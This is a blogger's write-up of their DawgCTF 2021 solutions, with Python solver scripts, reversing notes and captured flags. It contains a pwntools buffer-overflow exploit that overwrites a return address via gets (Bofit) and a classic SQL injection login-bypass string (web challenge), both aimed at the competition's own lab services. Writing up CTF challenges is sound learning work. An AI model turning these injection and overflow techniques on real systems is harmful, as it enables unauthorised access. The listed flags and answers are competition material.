DawgCTF 2021

I came 125th out of 514 participating teams. I really enjoyed the CTF and appreciated that it was pretty beginner friendly. My favourite challenges were the Binary Bomb and the Two Truths and a Fib.

crypto

cookin the ramen - 50 points

Apparently we made cookin the books too hard, here’s some ramen to boil as a warmup: .— …- …- . ….- …- … ..— .. .-. .– –. -.-. .– -.- -.– -. -… ..— ..-. -.-. …- …– ..- –. .— … ..- .. –.. -.-. …. – …- -.- . ..- – - . -. …- -. ..-. — -.– –.. - .-.. .— –.. –. –. …– … -.-. -.- ….. .— ..- — -. -.- -..- -.- –.. -.- …- ..- .– - -.. .— -… …. ..-. –. –.. -.- -..- .. –.. .– …- … – …– –.- –. ..-. … .– — .–. .— …..

Author: trashcanna

Figured out the following recipe by clicking around enough in CyberChef: https://gchq.github.io/CyberChef/#recipe=From_Morse_Code('Space','Line%20feed')From_Base32('A-Z2-7%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',true)&input=Li0tLSAuLi4tIC4uLi0gLiAuLi4uLSAuLi4tIC4uLiAuLi0tLSAuLiAuLS4gLi0tIC0tLiAtLi0uIC4tLSAtLi0gLS4tLSAtLiAtLi4uIC4uLS0tIC4uLS4gLS4tLiAuLi4tIC4uLi0tIC4uLSAtLS4gLi0tLSAuLi4gLi4tIC4uIC0tLi4gLS4tLiAuLi4uIC0tIC4uLi0gLS4tIC4gLi4tIC0tIC0gLiAtLiAuLi4tIC0uIC4uLS4gLS0tIC0uLS0gLS0uLiAtIC4tLi4gLi0tLSAtLS4uIC0tLiAtLS4gLi4uLS0gLi4uIC0uLS4gLS4tIC4uLi4uIC4tLS0gLi4tIC0tLSAtLiAtLi0gLS4uLSAtLi0gLS0uLiAtLi0gLi4uLSAuLi0gLi0tIC0gLS4uIC4tLS0gLS4uLiAuLi4uIC4uLS4gLS0uIC0tLi4gLS4tIC0uLi0gLi4gLS0uLiAuLS0gLi4uLSAuLi4gLS0gLi4uLS0gLS0uLSAtLS4gLi4tLiAuLi4gLi0tIC0tLSAuLS0uIC4tLS0gLi4uLi4

Flag: DawgCTF{0k@y_r3al_b@by's_f1r5t}

Misc

Two Truths and a Fib - 100 points

Can you catch the fibber?

Author: trashcanna

You’re given three numbers and have to identify the fibonacci number within a few seconds. If you correctly pick out the fibonacci number a hundred times in a row, then you get the flag. I used the logic at https://www.geeksforgeeks.org/python-program-for-how-to-check-if-a-given-number-is-fibonacci-number/ to quickly figure out which numbers are fibonacci.

from pwn import *
import sys
import math


# A utility function that returns true if x is perfect square
def is_perfect_square(x):
    s = int(math.sqrt(x))
    return s * s == x


def is_fibonacci(n):
    # n is Fibinacci if one of 5*n*n + 4 or 5*n*n - 4 or both
    return is_perfect_square(5 * n * n + 4) or is_perfect_square(5 * n * n - 4)


def main(host, port):
    r = remote(host, port)
    print(r.recvlines(10))  # receive intro text
    candidates = [int(x) for x in r.recvline().strip()[1:-1].split(B', ')]
    print(r.recv(3))  # receive prompt
    fibonacci_number = list(filter(is_fibonacci, candidates))[0]
    payload = str(fibonacci_number).encode() + b'\n'
    print('sending...',  payload)
    r.send(payload)

    while True:
        # get entire response
        print(r.recvlines(2))
        candidates = [int(x) for x in r.recvline().strip()[1:-1].split(B', ')]
        print(r.recv(3))
        fibonacci_number = list(filter(is_fibonacci, candidates))[0]
        payload = str(fibonacci_number).encode() + b'\n'
        print('sending...',  payload)
        r.send(payload)


if __name__ == '__main__':
    host = sys.argv[1]  # umbccd.io 6000
    port = sys.argv[2]

    main(host, port)
    pass

Flag: DawgCTF{jU$T_l1k3_w3lc0me_w33k}

pwn

Bofit - 125 points

Because Bop It is copyrighted, apparently

Author: trashcanna

The program asks you to enter a specific character in response to each prompt. Unless it asks you to Shout it!, then you’re expected to enter any characters, as long as you enter at least 10. This part is received using gets which is vulnerable, so we just return to the target function. I’m getting the hang of gets pwn tasks.

from pwn import *

host = sys.argv[1] if len(sys.argv) > 1 else 'umbccd.io'
port = int(sys.argv[2]) if len(sys.argv) > 2 else 4100
conn = remote(host, port)
print(conn.recvlines(6))

TARGET_ADDRESS = 0x401256
packed_address = p64(TARGET_ADDRESS, endianness='little')

while True:
    command = conn.recvline()
    print(command)
    if command.startswith(b'BOF'):
        conn.sendline(b'B')
    elif command.startswith(b'Pull'):
        conn.sendline(b'P')
    if command.startswith(b'Twist'):
        conn.sendline(b'T')
    if command.startswith(b'Shout'):
        conn.sendline(b'A' * 0x38 + packed_address)
        break

conn.recvline()
conn.sendline(b'x')  # force return
print(conn.recvline())  # print flag

if __name__ == '__main__':
    pass

Flag: DawgCTF{n3w_h1gh_sc0r3!!}

rev

Author: Percival

Solution

I believe these were intended to be pretty entry-level reversing challenges. This is because there was some story and were trying to teach different parts of reverse engineering, such as learning about sections in PE files. If I remember correctly they all had some intentionally rudimentary anti-debug. However, in the end, they all led to decrypting the flag by XORing against 0x78.

Here’s the IDAPython command I used to extract the flag for secret app: ''.join([chr(e^0x78) for e in get_bytes(0x417B50, 0x19)])

Challenges solved in this way:

calculator - 50 points

secret app - 50 points

Sections - 75 points

Who am I - 100 points

web

Dr Hrabowskis Great Adventure - 150 points

President Freeman Hrabowski is having a relaxing evening in Downtown Baltimore. But he forgot his password to give all UMBC students an A in all their classes this semester! Find a way to log in and help him out.

Author: Clearedge

We’re given a user/password prompt, in the username field I put user' OR '1'='1' -- , and whatever for the password field.

Flag: DawgCTF{WeLoveTrueGrit}

Just A Comment - 50 points

Just a comment, we love our people here at ClearEdge! Author: Clearedge

We’re given a pcap and there were a lot of packets so I grepped for the flag instead.

/DawgCTF{[^}]+}/

Flag: DawgCTF{w3 h34r7 0ur 1r4d 734m}

Binary Bomb

Author: treap_treap

Part 1 - 25 points

Starting off easy… reversing (things) is fun!

Reverse the string! Easy peasy Flag: DawgCTF{R3veR51nG_7h3_s7r1nG}

Part 2 - 50 points

Can you help me find my lost key so I can read my string?

Single byte XOR DawgCTF{An07h3R_rEv3r5aL_mE7h0d}

Part 3 - 75 points

Reflections? Rotations? Translations? This is starting to sound like geometry…

Looks like an one-to-one/onto function, just generate output for every input. It at least works for inputs < 0x80. I didn’t bother to figure out what this function represents.

def func3_1(c):
    if c > 0x40 and c <= 0x5a:
        c -= 0xD
        if c > 0x40:
            v1 = 0
        else:
            v1 = 0x1a
        c += v1
    if c > 0x60 and c <= 0x7a:
        c -= 0xD
        if c > 0x60:
            v2 = 0
        else:
            v2 = 0x1a
        c += v2
    return c


def func3_2(c):
    if c > 0x20 and c != 0x7f:
        c -= 0x2f
        if c > 0x20:
            v1 = 0
        else:
            v1 = 0x5e
        c += v1
    return c


if __name__ == '__main__':
    target = [int(x, 16) for x in '22 5F 39 7E 4A 62 30 21 3D 41 60 47 21 30 36 71 66 63 38 27 5F 32 30 75 66 36 60 32 25 37'.split(' ')]
    # the dumb way
    res = []
    for t in target:
        for i in range(0, 0x80):  # NOT 0x100, you end up with multiple candidates
            if t == func3_2(func3_1(i)):
                res.append(i)

    print(''.join(chr(c) for c in res))

Flag: DawgCTF{D0uBl3_Cyc1iC_rO74tI0n_S7r1nGs}

Part 4 - 150 points

This is the phase you have been waiting for… one may say it’s the golden stage!

Let’s switch things up! Numerical inputs map to line numbers in rockyou.txt, and each word is separated by a ’’ (if the phase’s solution is 4 5, the flag would be DawgCTF{passwordiloveyou})

Ported the core function to python to see what it did, realised it was generating the fibonacci sequence. Each target number is multiplied by the 10th term in the fibonacci sequence, and then you have to invert the result.

def func4(a):  # fibonacci
    if a <= 0:
        return 0
    if a == 1:
        return 1
    return func4(a-1) + func4(a-2)


def fibonacci_generator():
    n1, n2 = 0, 1
    while True:
        yield n1
        nth = n1 + n2
        # update values
        n1 = n2
        n2 = nth


if __name__ == '__main__':
    targets = [t * func4(10) for t in [1, 123, 15128, 1860621]]
    user_inputs = []

    for i, fib in enumerate(fibonacci_generator()):
        if fib == targets[0]:
            user_inputs.append(i)
            if len(targets) > 1:
                targets = targets[1:]
            else:
                break
            if fib > 102334155:
                print('unhappy')
                break

    print('user inputs:', user_inputs)

    rockyou = [line.strip() for line in open('rockyou.txt', 'r', encoding='latin-1').readlines()]
    print('_'.join([rockyou[line_no-1] for line_no in user_inputs]))

Flag: DawgCTF{abc123_qwerty_anthony_123123}

Part 5 - 150 points

Are you really, really ready and excited for this stage?

(Flag uses the same rockyou.txt format as BBomb Phase 4)

We’re given a couple of constraints, just have to make sure they’re all satisfied.

From Reversing

  • Expected to give four numbers
  • Numbers sum to 8084
  • Each number is at least as big as 10 less the previous number

Amendments from the author on Discord

  • Numbers are in ascending order
  • No numbers less than 2010
# rockyou_getter.py
def convert_to_rockyou_flag(li):  
    rockyou = [line.strip() for line in open('rockyou.txt', 'r', encoding='latin-1').readlines()]  
    return 'DawgCTF{' + '_'.join([rockyou[line_no-1] for line_no in li]) + '}'
import math
from itertools import combinations

from rockyou_getter import convert_to_rockyou_flag

target_sum = 8084
candidates = []
for i in range(2010, 2200):
    is_candidate = True
    for j in range(3, math.ceil(i / 2)):
        if i % j == 0:
            is_candidate = False
            break
    if is_candidate:
        candidates.append(i)

for x in filter(lambda e: sum(e) == 8084, combinations(candidates, 4)):
    a, b, c, d = list(sorted(x))
    if a < b - 10 or b < c - 10 or c < d - 10:  # from reversing
        continue
    res = [a, b, c, d]
    print(convert_to_rockyou_flag(res))

if __name__ == '__main__':
    pass

Flag: DawgCTF{kayla1_harris_ilovemike_valencia}

Part 6 - 175 points

Oh no… I lost the key to my string again :(

Can extract the target bytes with the below IDA script:

# click on 0x1843 and then run:

import idc
l = idc.get_screen_ea()
res = []
for i in range(24):
  text = idc.GetDisasm(l)
  val = text.split(';')[0].split(',')[1].split('h')[0].strip()
  res.append(int(val, 16))
  l = idc.next_head(l)

print(res)

Noticed it’s just doing bit manipulation… Here’s the decompiler output

  for ( i = 0; i < strlen(target) && i < strlen(user_input); ++i )
  {
    user_input[i] = ((unsigned __int8)(user_input[i] & 0xF0) >> 4) | (16 * user_input[i]);
    user_input[i] ^= 0x64u;
    if ( user_input[i] != target[i] )
      v4 = 0;
  }

Here’s the script I wrote

target = [64, 119, 35, 145, 176, 114, 130, 119, 99, 49, 162, 114, 33, 242, 103, 130, 145, 119, 38, 145, 0, 51, 130, 196]

# go backwards
res = []
for t in target:
    _t = (t ^ 0x64)
    _t = ( (_t << 4) | (_t >> 4) ) & 0xff
    res.append(_t)
print(''.join([chr(e) for e in res]))

Flag: DawgCTF{B1t_Man1pUlaTi0n_1$_Fun}